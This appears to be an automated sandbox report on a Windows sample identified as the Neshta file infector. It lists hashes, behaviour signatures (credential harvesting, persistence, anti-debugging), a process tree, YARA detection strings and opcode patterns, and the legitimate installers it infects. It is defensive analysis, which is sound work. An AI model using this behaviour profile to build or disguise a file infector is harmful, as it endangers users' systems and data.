Edit tour

Windows Analysis Report
wYWdigdSjn.exe

Overview

General Information

Sample Name:	wYWdigdSjn.exe
Analysis ID:	718790
MD5:	0b7d3217ae50a0433b3a96494d089e05
SHA1:	012822d29e1ec200b9cf23e10cb0d8a380ec4da6
SHA256:	89609c41c0c13302695dec877a6863737243e22b414740e0595f62a0c4d1362a
Tags:	exeFFDroider
Infos:

Detection

Neshta

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Neshta

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Infects executable files (exe, dll, sys, html)

Drops PE files with a suspicious file extension

PE file has a writeable .text section

Drops executable to a common third party application directory

Machine Learning detection for sample

Drops PE files to the document folder of the user

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Dropped file seen in connection with other malware

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

wYWdigdSjn.exe (PID: 3932 cmdline: C:\Users\user\Desktop\wYWdigdSjn.exe MD5: 0B7D3217AE50A0433B3A96494D089E05)

wYWdigdSjn.exe (PID: 5200 cmdline: "C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe" MD5: 78C42D6817AF1AD96CABDF6FF2F7F3DA)

svchost.com (PID: 912 cmdline: "C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)

wYWdigdSjn.exe (PID: 2300 cmdline: C:\Users\user\Desktop\WYWDIG~1.EXE MD5: 0B7D3217AE50A0433B3A96494D089E05)

svchost.com (PID: 1960 cmdline: "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)

wYWdigdSjn.exe (PID: 5580 cmdline: C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE MD5: 78C42D6817AF1AD96CABDF6FF2F7F3DA)

svchost.com (PID: 1760 cmdline: "C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)

wYWdigdSjn.exe (PID: 3924 cmdline: C:\Users\user\Desktop\WYWDIG~1.EXE MD5: 0B7D3217AE50A0433B3A96494D089E05)

svchost.com (PID: 1276 cmdline: "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE" MD5: 36FD5E09C417C767A952B4609D73A54B)

wYWdigdSjn.exe (PID: 5380 cmdline: C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE MD5: 78C42D6817AF1AD96CABDF6FF2F7F3DA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
wYWdigdSjn.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
wYWdigdSjn.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
wYWdigdSjn.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]

Dropped Files

Source	Rule	Description	Author	Strings
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Windows\svchost.com	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\Windows\svchost.com	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Windows\svchost.com	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Users\user\Downloads\ChromeSetup.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\Users\user\Downloads\ChromeSetup.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Users\user\Downloads\ChromeSetup.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
Click to see the 43 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
Process Memory Space: wYWdigdSjn.exe PID: 3932	JoeSecurity_Neshta	Yara detected Neshta	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.wYWdigdSjn.exe.400000.0.unpack	MAL_Neshta_Generic	Detects Neshta malware	Florian Roth	0xa0e7:$x1: the best. Fuck off all the rest. 0xa1a8:$x2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas] 0xa108:$s1: Neshta 0xa113:$s2: Made in Belarus. 0x5530:$op1: 85 C0 93 0F 85 62 FF FF FF 5E 5B 89 EC 5D C2 04 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85 C0 75 0C 0x1860:$op3: EB 02 33 DB 8B C3 5B C3 53 85 C0 74 15 FF 15 34
0.0.wYWdigdSjn.exe.400000.0.unpack	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
0.0.wYWdigdSjn.exe.400000.0.unpack	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]

Binary string: C:\Users\30978\Desktop\console_Fb\Release\new_Fb.pdb source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp

Spreading

Yara detected Neshta

Source: Yara match	File source: wYWdigdSjn.exe, type: SAMPLE
Source: Yara match	File source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wYWdigdSjn.exe PID: 3932, type: MEMORYSTR
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	System file written: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\	Jump to behavior
